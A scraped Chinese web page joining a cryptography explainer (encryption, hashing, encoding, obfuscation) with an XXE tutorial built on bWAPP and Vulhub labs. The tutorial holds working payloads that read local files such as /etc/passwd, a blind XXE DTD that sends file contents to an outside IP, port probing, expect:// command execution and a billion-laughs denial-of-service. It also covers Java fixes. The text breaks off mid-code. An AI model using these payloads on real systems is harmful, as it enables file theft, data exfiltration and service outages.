整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          一文搞懂Web中暗藏的密碼學

          一文搞懂Web中暗藏的密碼學

          開發網站登錄功能時,如何保證密碼在傳輸過程/儲存的安全?

          相信不少前后端的朋友,在面試時都會被問到類似的問題。

          在我對密碼學一無所知時,也僅會回答:“MD5加密啊。”

          諸不知,密碼學在網絡七層模型,甚至web開發中的應用比我想象得多得多。

          1. 什么是密碼學?

          密碼學是各種安全應用程序所必需的,現代密碼學旨在創建通過應用數學原理和計算機科學來保護信息的機制。但相比之下,密碼分析旨在解密此類機制,以便獲得對信息的非法訪問。

          密碼學具有三個關鍵屬性:

          • 機密性,為了防止未經授權的各方訪問信息(換句話說,是要確保只有經過授權的人才能訪問受限制的數據)。
          • 完整性,是指保護信息不被隨意篡改
          • 真實性,與識別信息的所有者有關。

          例如個人醫療數據:

          • 機密性,個人醫療數據需要保密,這意味著只有醫生或醫護人員才能訪問它。
          • 完整性,還必須保護其完整性,因為篡改此類數據可能導致錯誤的診斷或治療,并給患者帶來健康風險。
          • 真實性,患者數據應與已識別的個人聯系起來,且患者需要知道操作者(醫生)是誰。

          在本文中,我們將從加密,哈希,編碼和混淆四種密碼學基礎技術來入門。

          本文圖片經過再制,方便看懂。

          大綱和主體內容引自:How Secure Are Encryption, Hashing, Encoding and Obfuscation?[1]

          2. 什么是加密?

          加密定義:以保證機密性的方式轉換數據的過程。

          為此,加密需要使用一個保密工具,就密碼學而言,我們稱其為“密鑰”。

          加密密鑰和任何其他加密密鑰應具有一些屬性:

          • 為了保護機密性,密鑰的值應難以猜測。
          • 應該在單個上下文中使用它,避免在不同上下文中重復使用(類比 JS 作用域)。密鑰重用會帶來安全風險,如果規避了其機密性,則影響更大,因為它“解鎖”了更敏感的數據。

          2.1 加密的分類:對稱和非對稱

          加密分為兩類:對稱和非對稱

          對稱加密:

          用途:文件系統加密,Wi-Fi 保護訪問(WPA),數據庫加密(例如信用卡詳細信息)

          非對稱加密:

          用途:TLS,VPN,SSH。

          其主要區別是:所需的密鑰數量

          • 在對稱加密算法中,單個密用于加密和解密數據。只有那些有權訪問數據的人才能擁有單個共享密鑰。
          • 在非對稱加密算法中,使用了兩個密鑰:一個是公用密鑰,一個是私有密鑰。顧名思義,私鑰必須保密,而每個人都可以知道公鑰。
            • 應用加密時,將使用公鑰,而解密則需要私鑰。
            • 任何人都應該能夠向我們發送加密數據,但是只有我們才能夠解密和讀取它。
          1. 通常使用非對稱加密來在不安全的通道上進行通信時,兩方之間會安全地建立公共密鑰。
          2. 通過此共享密鑰,雙方切換到對稱加密。
          3. 這種加密速度更快,更適合處理大量數據。

          能被密碼界承認的加密算法都是公開的

          • 某些公司使用專有或“軍事級”加密技術進行加密,這些技術是“私有的”。且基于“復雜“算法,但這不是加密的工作方式。
          • 密碼界廣泛使用和認可的所有加密算法都是公開的,因為它們基于數學算法,只有擁有密鑰或先進的計算能力才能解決。
          • 公開算法是得到廣泛采用,證明了其價值的。

          3. 什么是哈希?

          哈希算法定義:·一種只能加密,不能解密的密碼學算法,可以將任意長度的信息轉換成一段固定長度的字符串。

          加密算法是可逆的(使用密鑰),并且可以提供機密性(某些較新的加密算法也可以提供真實性),而哈希算法是不可逆的,并且可以提供完整性,以證明未修改特定數據。

          哈希算法的前提很簡單:給定任意長度的輸入,輸出特定長度的字節。在大多數情況下,此字節序列對于該輸入將是唯一的,并且不會給出輸入是什么的指示。換一種說法:

          1. 僅憑哈希算法的輸出,是無法確定原始數據的。
          2. 取一些任意數據以及使用哈希算法輸出,就可以驗證此數據是否與原始輸入數據匹配,從而無需查看原始數據。

          為了說明這一點,請想象一個強大的哈希算法通過將每個唯一輸入放在其自己的存儲桶中而起作用。當我們要檢查兩個輸入是否相同時,我們可以簡單地檢查它們是否在同一存儲桶中。

          散列文件的存儲單位稱為桶(Bucket)

          3.1 例子一:資源下載

          提供文件下載的網站通常會返回每個文件的哈希值,以便用戶可以驗證其下載副本的完整性。

          例如,在Debian的圖像下載服務中,您會找到其他文件,例如SHA256SUMS,其中包含可供下載的每個文件的哈希輸出(在本例中為SHA-256算法)。

          • 下載文件后,可以將其傳遞給選定的哈希算法,輸出一段哈希值
          • 用該哈希值來與校驗和文件中列出的哈希值作匹配,以校驗是否一致。

          在終端中,可以用openssl來對文件進行哈希處理:



          同一個文件采用相同的hash算法時,就可以用來校驗是否同源。

          在強大的哈希算法中,如果有兩個不同的輸入,則幾乎不可能獲得相同的輸出。

          而相反的,如果計算后的結果范圍有限,就會存在不同的數據經過計算后得到的值相同,這就是哈希沖突。(兩個不同的數據計算后的結果一樣)

          這種稱為:哈希碰撞(哈希沖突)

          如果兩個不同的輸入最終出現在同一個存儲桶中,則會發生沖突。如MD5和SHA-1,就會出現這種情況。這是有問題的,因為我們無法區分哪個碰撞的值匹配輸入。

          強大的哈希算法幾乎會為每個唯一輸入創建一個新存儲桶。

          3.2 例子二:網站登陸

          在web開發中,哈希算法使用最頻繁的是在網站登陸應用上:

          絕大多數的網站,在將登陸數據存入時,都會將密碼哈希后存儲。

          • 這是為了避免他人盜取數據庫信息后,還原出你的初始輸入。
          • 且下次登錄時,Web 應用程序將再次對你的密碼進行哈希處理,并將此哈希與之前存儲的哈希進行比較。
          • 如果哈希匹配,即使 Web 應用程序中沒有實際的密碼存儲,Web 應用程序也確信你知道密碼。

          注冊:

          登陸:

          哈希算法的一個有趣的方面是:無論輸入數據的長度如何,散列的輸出始終是相同的長度。

          從理論上講,碰撞沖突將始終在可能性的范圍之內,盡管可能性很小。

          與之相反的是編碼

          4. 什么是編碼?

          編碼定義:將數據從一種形式轉換為另一種形式的過程,與加密無關

          它不保證機密性,完整性和真實性這三種加密屬性,因為:

          • 不涉及任何秘密且是完全可逆的。
          • 通常會輸出與輸入值成比例的數據量,并且始終是該輸入的唯一值。
          • 編碼方法被認為是公共的,普遍用于數據處理
          • 編碼永遠不適用于操作安全性相關

          4.1 URL編碼

          又叫百分號編碼,是統一資源定位(URL)編碼方式。URL地址(常說網址)規定了:

          • 常用的數字,字母可以直接使用,另外一批作為特殊用戶字符也可以直接用(/,:@等)
          • 剩下的其它所有字符必須通過%xx編碼處理。

          現在已經成為一種規范了,基本所有程序語言都有這種編碼,如:

          • js:encodeURI、encodeURIComponent
          • PHP:urlencode、urldecode 等。

          編碼方法很簡單,在該字節ascii碼的 16 進制字符前面加%. 如 空格字符,ascii碼是 32,對應 16 進制是'20',那么urlencode編碼結果是:%20。







          4.2 HTML實體編碼

          在HTML中,需要對數據進行HTML編碼以遵守所需的HTML字符格式。轉義避免 XSS 攻擊也是如此。

          4.3 Base64/32/16編碼

          base64、base32、base16可以分別編碼轉化 8 位字節為 6 位、5 位、4 位。

          16,32,64 分別表示用多少個字符來編碼,

          Base64常用于在通常處理文本數據的場合,表示、傳輸、存儲一些二進制數據。包括MIME的email,email via MIME,在XML中存儲復雜數據。

          編碼原理:

          1. Base64編碼要求把 3 個 8 位字節轉化為 4 個 6 位的字節
          2. 之后在 6 位的前面補兩個 0,形成 8 位一個字節的形式
          3. 6 位 2 進制能表示的最大數是 2 的 6 次方是 64,這也是為什么是 64 個字符的原因
          • A-Z,a-z,0-9,+,/這 64 個編碼字符,=號不屬于編碼字符,而是填充字符

          Base64映射表,如下:

          舉個栗子:

          引自:一篇文章徹底弄懂 Base64 編碼原理[2]

          • 第一步:“M”、“a”、"n"對應的ASCII碼值分別為 77,97,110,對應的二進制值是01001101、01100001、01101110。如圖第二三行所示,由此組成一個 24 位的二進制字符串。
          • 第二步:如圖紅色框,將 24 位每 6 位二進制位一組分成四組。
          • 第三步:在上面每一組前面補兩個 0,擴展成 32 個二進制位,此時變為四個字節:00010011、00010110、00000101、00101110。分別對應的值(Base64編碼索引)為:19、22、5、46。
          • 第四步:用上面的值在 Base64 編碼表中進行查找,分別對應:T、W、F、u。因此“Man”Base64編碼之后就變為:TWFu。

          上面的示例旨在指出,編碼的用例僅是數據處理,而不為編碼的數據提供保護。

          4. 什么是混淆?

          混淆定義:將人類可讀的字符串轉換為難以理解的字符串。

          • 與加密相反,混淆處理不包含加密密鑰。
          • 與編碼類似,混淆不能保證任何安全性,盡管有時會誤將其用作加密方法

          盡管不能保證機密性,但混淆仍有其它應用:

          • 用于防止篡改和保護知識產權。
          • APP 源代碼通常在打包之前就被混淆了
            • 因為源代碼位于用戶的設備中,可以從中提取代碼。由于混淆后代碼不友好,因此會阻止逆向工程,從而有助于保護知識產權。
            • 反過來,這可以防止篡改代碼并將其重新分發以供惡意使用。

          但是,如此存在許多有助于消除應用程序代碼混淆的工具。那就是其它話題了。。。

          4.1 例子一:JavaScript混淆

          JavaScript源代碼:

          混淆后:

          總結

          從機密性,完整性,真實性分析四種密碼技術:


          加密哈希編碼混淆機密性????完整性????真實性????

          • 加密,雖然是為了保證數據的機密性,但某些現代加密算法還采用了其他策略來保證數據的完整性(有時通過嵌入式哈希算法)和真實性。
          • 哈希,只能保證完整性,但可以通過完整性對比來做權限控制,如:基于哈希的消息認證碼(HMAC)和某些傳輸層安全性(TLS)方法。
          • 編碼,過去曾被用來表示加密,并在技術領域之外仍具有這種含義,但在編程世界中,它僅是一種數據處理機制,從未提供任何安全措施
          • 混淆,可以用來提高抵御攻擊的能力;但是,它永遠不能保證數據的機密性。狡猾的對手最終將繞過混淆策略。與編碼一樣,永遠不要將混淆視為可靠的安全控制

          附錄:哈希函數

          常用的哈希函數

          • MD5,一種被廣泛使用的密碼雜湊函數,可以產生出一個 128 位元(16 位元組)的哈希值,用于確保信息傳輸完整一致。*雖廣泛,但過時。
          • SHA-256/SHA512 , "加鹽"。在比特幣中,區塊鏈使用SHA-256算法作為基礎的加密哈希函數。
            • 安全散列算法secure hash algorithm,是一個密碼哈希函數家族。
            • SHA家族有五個算法,分別是SHA-1,SHA-224,SHA-256,SHA-384,SHA-512
            • 它們是美國的政府標準,后面的四個稱之為SHA-2
          • bcrypt:bcrypt算法相對來說是運算比較慢的算法。
            • 在密碼學界有句常話:越慢的算法越安全。算法越算,黑客破解成本越高:
            • 通過salt和const這兩個值來減緩加密過程,ta 的加密時間(百 ms 級)遠遠超過md5(大概1ms左右)。
            • 對于計算機來說,Bcrypt 的計算速度很慢,但是對于用戶來說,這個過程不算慢。
            • bcrypt是單向的,而且經過salt和cost的處理,使其受rainbow攻擊破解的概率大大降低,同時破解的難度也提升不少。
            • 相對于MD5等加密方式更加安全,而且使用也比較簡單.
          • 設計良好的密鑰擴展算法,如PBKDF2,bcrypt,scrypt。

          后記 & 引用

          How Secure Are Encryption, Hashing, Encoding and Obfuscation?[3]CTF 中那些腦洞大開的編碼和加密[4]散列文件的存儲——‘桶’[5]

          那么,如何保證密碼在傳輸過程/儲存的安全呢?

          我們下回分解!

          ?? 看完三件事

          如果你覺得這篇內容對你挺有啟發,我想邀請你幫我三個小忙:

          1. 點贊,讓更多的人也能看到這篇內容(收藏不點贊,都是耍流氓)。
          2. 關注「前端勸退師」,不定期分享原創知識。
          3. 也看看其它文章

          也可以來我的GitHub博客里拿所有文章的源文件:

          前端勸退指南:https://github.com/roger-hiro/BlogFN

          參考資料

          [1]

          How Secure Are Encryption, Hashing, Encoding and Obfuscation?: https://auth0.com/blog/how-secure-are-encryption-hashing-encoding-and-obfuscation/#What-is-Encoding-

          [2]

          引自:一篇文章徹底弄懂Base64編碼原理: https://blog.csdn.net/wo541075754/article/details/81734770

          [3]

          How Secure Are Encryption, Hashing, Encoding and Obfuscation?: https://auth0.com/blog/how-secure-are-encryption-hashing-encoding-and-obfuscation/#What-is-Encoding-

          [4]

          CTF中那些腦洞大開的編碼和加密: https://www.cnblogs.com/godoforange/articles/10850493.html

          [5]

          散列文件的存儲——‘桶’: https://blog.csdn.net/Dearye_1/article/details/78492021

          、WEB安全部分

          想要了解XXE,在那之前需要了解XML的相關基礎

          二、XML基礎

          2.1 XML語法

          1. 所有的XML元素都必須有一個關閉標簽
          2. XML標簽對大小寫敏感
          3. XML必須正確嵌套
          4. XML 文檔必須有根元素
          5. XML屬性值必須加引號

          實體引用,在標簽屬性,以及對應的位置值可能會出現<>符號,但是這些符號在對應的XML中都是有特殊含義的,這時候我們必須使用對應html的實體對應的表示,比如<對應的實體就是<,>符號對應的實體就是>

          在XML中,空格會被保留,如:<p>a空格B</p>,這時候a和B之間的空格就會被保留

          2.2 XML結構

          需要安全學習資料可以私信我:書籍、視頻教程、工具及學習思路【點擊查看】

          2.2.1 XML文檔聲明

          <?xml version="1.0" encoding="utf-8"?>

          2.2.2 元素

          元素是 XML 以及 HTML 文檔的主要構建模塊,元素可包含文本、其他元素或者是空的。

          <body>body text in between</body>
          <message>some message in between</message>
          

          空元素有例如:hr、br、img

          2.2.3 屬性

          屬性可提供有關元素的額外信息

          <img src="computer.gif"/>
          其中,src為屬性

          2.2.4 實體

          實體分為四種類型,分別為:

          • 字符實體
          • 命名實體
          • 外部實體
          • 參數實體

          2.3 文檔類型定義--DTD

          DTD是用來規范XML文檔格式,既可以用來說明哪些元素/屬性是合法的以及元素間應當怎樣嵌套/結合,也用來將一些特殊字符和可復用代碼段自定義為實體

          DTD可以嵌入XML文檔當中(內部聲明),也可以以單獨的文件存放(外部引用)

          2.3.1 DTD內部聲明

          假如 DTD 被包含在您的 XML 源文件中,它應當通過下面的語法包裝在一個 DOCTYPE 聲明中:

          <!DOCTYPE 根元素 [元素聲明]>

          內部聲明DTD示例

          <?xml version="1.0"?>
          <!DOCTYPE note [
            <!ELEMENT note (to,from,heading,body)>
            <!ELEMENT to      (#PCDATA)>
            <!ELEMENT from    (#PCDATA)>
            <!ELEMENT heading (#PCDATA)>
            <!ELEMENT body    (#PCDATA)>
          ]>
          <note>
            <to>George</to>
            <from>John</from>
            <heading>Reminder</heading>
            <body>Don't forget the meeting!</body>
          </note>
          

          以上 DTD 解釋如下:

          • !DOCTYPE note (第二行)定義此文檔是 note 類型的文檔。
          • !ELEMENT note (第三行)定義 note 元素有四個元素:"to、from、heading,、body"
          • !ELEMENT to (第四行)定義 to 元素為 "#PCDATA" 類型
          • !ELEMENT from (第五行)定義 from 元素為 "#PCDATA" 類型
          • !ELEMENT heading (第六行)定義 heading 元素為 "#PCDATA" 類型
          • !ELEMENT body (第七行)定義 body 元素為 "#PCDATA" 類型

          2.3.2 DTD外部引用


          假如 DTD 位于 XML 源文件的外部,那么它應通過下面的語法被封裝在一個 DOCTYPE 定義中:


          <!DOCTYPE 根元素 SYSTEM "文件名">


          這個 XML 文檔和上面的 XML 文檔相同,但是擁有一個外部的 DTD:


          <?xml version="1.0"?>
          <!DOCTYPE note SYSTEM "note.dtd">
          <note>
          <to>George</to>
          <from>John</from>
          <heading>Reminder</heading>
          <body>Don't forget the meeting!</body>
          </note>



          note.dtd:


          <!ELEMENT note (to,from,heading,body)>
          <!ELEMENT to (#PCDATA)>
          <!ELEMENT from (#PCDATA)>
          <!ELEMENT heading (#PCDATA)>
          <!ELEMENT body (#PCDATA)>



          2.3.3 PCDATA


          PCDATA 的意思是被解析的字符數據(parsed character data)。


          PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記,文本中的標簽會被當作標記來處理,而實體會被展開,值得注意的是,PCDATA不應包含&、<和>字符,需要用& < >實體替換,又或者是使用CDATA


          2.3.4 CDATA


          CDATA 的意思是字符數據(character data)。


          CDATA 是不會被解析器解析的文本。


          在XML中&、<字符是屬于違法的,這是因為解析器會將<解釋為新元素的開始,將&解釋為字符實體的開始,所以當我們有需要使用包含大量&、<字符的代碼,則可以使用CDATA


          CDATA由結束,在CDATA當中,不能包含]]>字符串,也不能嵌套CDATA,結尾的]]>字符串不能包含任何的空格和換行


          2.3.5 DTD實體


          DTD實體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。


          實體又分為一般實體和參數實體


          1,一般實體的聲明語法:


          引用實體的方式:&實體名;


          2,參數實體只能在DTD中使用,參數實體的聲明格式:


          引用實體的方式:%實體名;


          2.3.5.1 內部實體


          <!ENTITY writer "Bill Gates">
          <!ENTITY copyright "Copyright W3School.com.cn">
          
          <author>&writer;?right;</author>



          2.3.5.2 外部實體


          外部實體,用來引入外部資源。有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機


          <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
          <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
          
          <author>&writer;?right;</author>



          不同程序支持的協議不同


          LIBXML2

          PHP

          JAVA

          .NET

          file

          file

          http

          file

          http

          http

          https

          http

          ftp

          ftp

          ftp

          https


          php

          file

          ftp


          compress.zlib

          jar



          compress.bzip2

          netdoc



          data

          mailto



          glob

          gopher *



          phar




          其中php支持的協議會更多一些,但需要一定的擴展支持。


          ??

          三、XXE


          XXE即XML外部實體注入,由上面可知,外部實體指的就是DTD外部實體,而造成XXE的原因是在解析XML的時候,對惡意的外部實體進行解析導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害


          如何判斷


          3.1 如何判斷是否存在XXE


          以bwapp靶場為例


          首先查看http頭,觀察是否有XML相關字符串



          再判斷是否解析了XML內容



          發現修改內容后服務器會解析相應的內容



          3.2 XXE可導致的危害


          3.2.1 讀取文件


          最主要使用的是使用XXE來讀取文件,這里我使用bwapp靶場作為環境


          我搭建環境的時候使用php版本為5.2.17的環境,我是使用phpstudy搭建的環境,如果php版本大于5.2.17或者使用docker環境(php版本為5.5.9)會導致沒有回顯,當然可能只是我的環境問題,但是如果以low難度進行注入時使用正確的payload都是顯示An error occured!的話,可以嘗試使用我的方法


          3.2.1.1 有回響


          首先先進入XXE漏洞的測試界面


          http://192.168.0.105/bwapp/xxe-1.php



          進行抓包,發現存在text/xml



          通過修改數據,觀察服務器是否會解析XML的內容



          確定服務器會解析XML內容,就可以自己構造注入了



          <?xml version="1.0" encoding="utf-8" ?>
          <!DOCTYPE test[
              <!ENTITY bee SYSTEM "file:///d:/robots.txt">
          ]>
          
          <reset><login>&bee;</login><secret>Any bugs?</secret></reset>



          XML的外部實體“bee”被賦予的值為:file:///d:/robots.txt,當解析xml文檔時,bee會被替換為file:///d:/robots.txt的內容。就被執行回顯回來了。


          3.2.1.2 無回顯(Blind XXE)


          但是在實際環境中XML大多數時候并非是為了輸出用,所以很多時候是不會有輸出的,這樣即使XML被解析了但是是無法直接讀取文件的,所以我們需要外帶數據,把數據發送出來讀取


          靶場環境:Vulhub - Docker-Compose file for vulnerability environment

          ??

          搭建好環境后先進入此頁面http://192.168.3.25:8983/solr/#/demo/query,然后點擊提交,進行抓包,并把包發送到重放器



          在本地主機(使用橋接)或者是云服務器,反正能讓目標服務器連接到的ip的主機即可,在此服務器上創建dtd文件


          <!ENTITY % file SYSTEM "file:///etc/passwd">
          <!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">



          創建完后修改包內的payload


          /solr/demo/select?\_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+"http%3a//192.168.3.35/xxe.dtd">%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser


          該payload解碼后為


          <?xml version="1.0" ?><!DOCTYPE hack[<!ENTITY % send SYSTEM "http://192.168.3.35/xxe.dtd">%send;%dtd;]><r>&data;</r>&wt=xml&defType=xmlparser
          注意,http://192.168.3.35/xxe.dtd這句需要改為自己的地址,同時發包的時候不要把&wt=xml&defType=xmlparser進行url編碼,直接復制上去就好了



          以上情況是當php報錯時將里面的數據,如果php沒有報錯則使用下面的方法


          首先先監聽端口,然后在上面的基礎上修改一下dtd文件


          <!ENTITY % file SYSTEM "file:///h:/test.txt">
          <!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">



          在連接后面附上監聽的端口,發送后會在監聽處收到信息,如果沒有可以嘗試查看服務器日志



          這里用一下別人的圖


          參考鏈接:XXE漏洞詳解——進階篇 - FreeBuf網絡安全行業門戶



          但是我這里復現沒有成功,也有可能是直接通過報錯讀出文件的原因,但是還是記錄一下這種情況


          3.2.1.3 讀取PHP等文件


          由于一些文件,如php文件內含有<等字符,在讀取的時候想、解析器會將這些解析為xml語言導致語法錯誤,所以為了避免這種情況出現使用偽協議來讀取


          <?xml version="1.0" encoding="utf-8" ?>
          <!DOCTYPE test[
              <!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt">
          ]>
          
          <reset><login>&bee;</login><secret>Any bugs?</secret></reset>





          3.2.1.4 端口探測


          同樣使用bwapp靶場作為環境


          前面的流程基本一致,抓包后構造注入


          在http連接后跟端口,如果端口開啟,則會顯示 failed to open stream: HTTP request failed!,否則不顯示(或者顯示failed to open stream: Connection refuse!或500狀態碼)


          我這里使用phpstudy作為環境,所以開啟了3306端口


          <?xml version="1.0" encoding="utf-8"?>
          <!DOCTYPE hack[
          <!ENTITY  bee SYSTEM "http://192.168.3.25:3306">
          ]>





          測試666端口,機器沒有開啟,所以在發送包后獲取響應包需要很長一段時間,最后報500錯誤碼



          測試1234端口,本機同樣為開啟,也是等待了一小會才獲取到的響應包



          3.2.1.5 遠程命令執行RCE


          要想要RCE需要使用expect協議,其他協議也有可能可以執行命令

          ??

          expect需要安裝expect拓展



          <?xml version="1.0" encoding="utf-8"?>
          <!DOCTYPE hack[
          <!ENTITY  bee SYSTEM "expect://whoami">
          ]>



          3.2.1.6 DDOS 攻擊


          參考文章:XXE從入門到放棄 - 安全客服,安全資訊平臺 (anquanke.com)


          <?xml version="1.0"?>
          
          <!DOCTYPE lolz [
            <!ENTITY lol "abc">
            <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
            <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
            <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
            <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
            <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
            <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
            <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
            <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
          ]>
          
          <lolz>&lol9;</lolz>


          該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”abc”字符串,從而導致 DDoS 攻擊。原理為:構造惡意的XML實體文件耗盡可用內存,因為許多XML解析器在解析XML文檔時傾向于將它的整個結構保留在內存中,解析非常慢,造成了拒絕服務器攻擊。


          3.2.1.7 防御XXE


          方案一、使用開發語言提供的禁用外部實體的方法


          PHP:
          libxml_disable_entity_loader(true);
          
          JAVA:看下面的代碼審計
          
          Python:
          第三方模塊lxml按照修改設置來改就可以
          from lxml import etree
          xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
          
          def xxe():
              tree=etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))
              # tree=lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))
              return etree.tostring(tree.getroot())
          嘗試改用defusedxml 是一個純 Python 軟件包,它修改了所有標準庫 XML 解析器的子類,可以防止任何潛在的惡意操作。 對于解析不受信任的XML數據的任何服務器代碼,建議使用此程序包。



          方案二、過濾用戶提交的XML數據


          關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。


          不允許XML中含有任何自己聲明的DTD


          有效的措施:配置XML parser只能使用靜態DTD,禁止外來引入;對于Java來說,直接設置相應的屬性值為false即可


          參考文章:(38條消息) XXE詳解_bylfsj的博客-CSDN博客_xxe


          四、JAVA代碼審計部分


          XXE為XML External Entity Injection的英文縮寫,當開發人員允許xml解析外部實體時,攻擊者可構造惡意外部實體來達到任意文件讀取、內網端口探測、命令執行、拒絕服務攻擊等方面的攻擊。


          產生XXE有三個條件,首先是解析了XML,其次是XML外部可控。最后是沒有禁用外部實體


          五、XML常見接口


          5.1 XMLReader


          XMLReader接口是一種通過回調讀取XML文檔的接口,其存在于公共區域中。XMLReader接口是XML解析器實現SAX2驅動程序所必需的接口,其允許應用程序設置和查詢解析器中的功能和屬性、注冊文檔處理的事件處理程序,以及開始文檔解析。當XMLReader使用默認的解析方法并且未對XML進行過濾時,會出現XXE漏洞


          5.2 SAXBuilder


          SAXBuilder是一個JDOM解析器,其能夠將路徑中的XML文件解析為Document對象。SAXBuilder使用第三方SAX解析器來處理解析任務,并使用SAXHandler的實例偵聽SAX事件。當SAXBuilder使用默認的解析方法并且未對XML進行過濾時,會出現XXE漏洞


          5.3 SAXReader


          DOM4J是dom4j.org出品的一個開源XML解析包,使用起來非常簡單,只要了解基本的XML-DOM模型,就能使用。DOM4J讀/寫XML文檔主要依賴于org.dom4j.io包,它有DOMReader和SAXReader兩種方式。因為使用了同一個接口,所以這兩種方式的調用方法是完全一致的。同樣的,在使用默認解析方法并且未對XML進行過濾時,其也會出現XXE漏洞。


          5.4 SAXParserFactory


          SAXParserFactory使應用程序能夠配置和獲取基于SAX的解析器以解析XML文檔。其受保護的構造方法,可以強制使用newInstance()。跟上面介紹的一樣,在使用默認解析方法且未對XML進行過濾時,其也會出現XXE漏洞。


          5.5 Digester


          Digester類用來將XML映射成Java類,以簡化XML的處理。它是Apache Commons庫中的一個jar包:common-digester包。一樣的在默認配置下會出現XXE漏洞。其觸發的XXE漏洞是沒有回顯的,我們一般需通過Blind XXE的方法來利用


          5.6 DocumentBuilderFactory


          javax.xml.parsers包中的DocumentBuilderFactory用于創建DOM模式的解析器對象,DocumentBuilderFactory是一個抽象工廠類,它不能直接實例化,但該類提供了一個newInstance()方法,這個方法會根據本地平臺默認安裝的解析器,自動創建一個工廠的對象并返回。

          ?六、接口代碼審計&修復

          通過了解XXE的原理了解到防御XXE只需要做到以下幾點

          1、不解析XML,但是有的時候業務需要

          2、禁用dtd,同樣很多時候無法實現

          3、禁用外部實體和參數實體

          對大部分時候,都可以通過設置feature來控制解析器的行為

          // 這是優先選擇. 如果不允許DTDs (doctypes) ,幾乎可以阻止所有的XML實體攻擊
          setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
          // 如果不能完全禁用DTDs,最少采取以下措施,必須兩項同時存在
          setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部實體POC
          setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止參數實體POC
          

          如果是啟用了XIclude則要在feature規則前添加

          dbf.setXIncludeAware(true);   // 支持XInclude
          dbf.setNamespaceAware(true);  // 支持XInclude
          

          以下代碼均出于:java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)

          6.1 XMLReader

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
              XMLReader xmlReader=XMLReaderFactory.createXMLReader();
              xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
              return "xmlReader xxe vuln code";
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }

          6.2 修復代碼

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              XMLReader xmlReader=XMLReaderFactory.createXMLReader();
              // fix code start
              xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
              xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
              xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
              //fix code end
              xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
          
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.3 SAXBuilder

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              SAXBuilder builder=new SAXBuilder();
              // org.jdom2.Document document
              builder.build(new InputSource(new StringReader(body)));  // cause xxe
              return "SAXBuilder xxe vuln code";
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.4 修復代碼:

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              SAXBuilder builder=new SAXBuilder();
               // fix code start
              builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
              builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
              builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
               // fix code end
              // org.jdom2.Document document
              builder.build(new InputSource(new StringReader(body)));
          
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.5 SAXReader

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              SAXReader reader=new SAXReader();
              // org.dom4j.Document document
              reader.read(new InputSource(new StringReader(body))); // cause xxe
          
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }

          修復代碼:

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              SAXReader reader=new SAXReader();
              // fix code start
              reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
              reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
              reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
              // fix code end
              // org.dom4j.Document document
              reader.read(new InputSource(new StringReader(body)));
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
          }
          

          6.6 SAXParserFactory

          try {
              String body=WebUtils.getRequestBody(request);
              logger.info(body);
          
              SAXParserFactory spf=SAXParserFactory.newInstance();
              SAXParser parser=spf.newSAXParser();
